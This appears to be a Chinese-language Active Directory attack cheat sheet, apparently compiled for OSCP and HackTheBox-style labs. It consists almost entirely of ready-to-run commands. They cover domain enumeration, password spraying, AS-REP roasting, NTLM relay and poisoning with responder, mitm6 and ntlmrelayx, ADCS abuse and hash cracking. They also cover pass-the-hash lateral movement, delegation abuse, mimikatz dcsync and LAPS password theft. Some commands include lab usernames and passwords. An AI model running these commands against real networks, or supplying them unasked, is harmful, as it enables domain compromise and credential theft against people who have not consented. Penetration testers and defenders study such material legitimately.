枚举LDAP

1
2
3
4
5


nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -H <ip> -s base
ldapsearch -x -H ldap://10.10.10.161:389 -s base
ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +

查找用户名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p '<password>' --users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
OSINT - 在互联网上寻找用户名

# 新记录的
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

得到账号，但是没有密码

密码喷洒

1
2
3
4
5


获取域密码策略 ：
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 不爆破，只测试单一的 user=password
cme smb <dc-ip> -u user.txt -p password.txt # 交叉爆破，根据密码策略，失败过多可能会被封禁

ASREP-Roasting攻击

获取hash

1
2
3
4
5


python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
Rubeus asreproast /format:hashcat

GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248
GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams

获取ASREP-Roastable账号

1
2
3


GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

拿到任意一个域用户的账号密码

获取其他账户密码

1. 获取域内所有账户名

1

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

2. 枚举 SMB 共享

https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0

1

cme smb <ip> -u <user> -p <password> --shares

3. bloodhound

https://github.com/dirkjanm/BloodHound.py

1
2
3


bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all

4. 枚举 DNS 服务器

https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py

1
2


dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

relay/poisoning攻击

扫描没开启SMB签名的机器

1
2
3


nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay
cme smb $hosts --gen-relay-list relay.txt

PetitPotam

1

PetitPotam.py -d <domain> <listener_ip> <target_ip>

后续可以跟着adcs攻击

监听

1
2


responder -i eth0
mitm6 -d <domain>

无SMB签名 || 开启IPv6 || ADCS

MS08-068

1
2
3
4
5


use exploit/windows/smb/smb_relay 	#常用于windows2003 / windows server2008

responder -I eth0 # 记得先关闭本机的 smb 和 http 服务

ntlmrelayx.py -tf targets.txt

mitm6 -i eth0 -d

1
2
3
4
5
6
7


ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

adcs

1
2
3


ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

拿到hash破解

1
2
3


john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

NTLM

1
2
3


john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

NTLMv1

1
2
3


john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

NTLMv2

1
2
3


john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

Kerberos 5 TGS

1
2
3


john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a 0 spn.txt rockyou.txt

Kerberos ASREP

1

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

横向移动

1
2
3
4
5
6
7
8
9


psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"

evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

1
2
3
4
5
6
7
8


python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>

非约束委派

获取票据

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

查找非约束委派主机

1
2
3
4
5
6
7


Get-NetComputer -Unconstrained

Get-DomainComputer -Unconstrained -Properties DnsHostName

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

约束委派

获取票据

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

查找约束委派主机

1
2
3
4
5


Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p

基于资源的约束委派
dcsync

1

lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins 组下的账户都行

打印机 SpoolService 漏洞利用

1
2


rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>

AD域ACL攻击(aclpwn.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner

获取LAPS管理员密码

1
2
3


Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize

foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

privexchange漏洞

1
2
3


python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>

ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>

Exchange的利用

IPC
其他横移

1
2
3
4
5
6
7


1.向WSUS服务器数据库注入恶意程序更新		WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器

2.MSSQL Trusted Links			use exploit/windows/mssql/mssql_linkcrawler

3.GPO Delegation

4.ADCS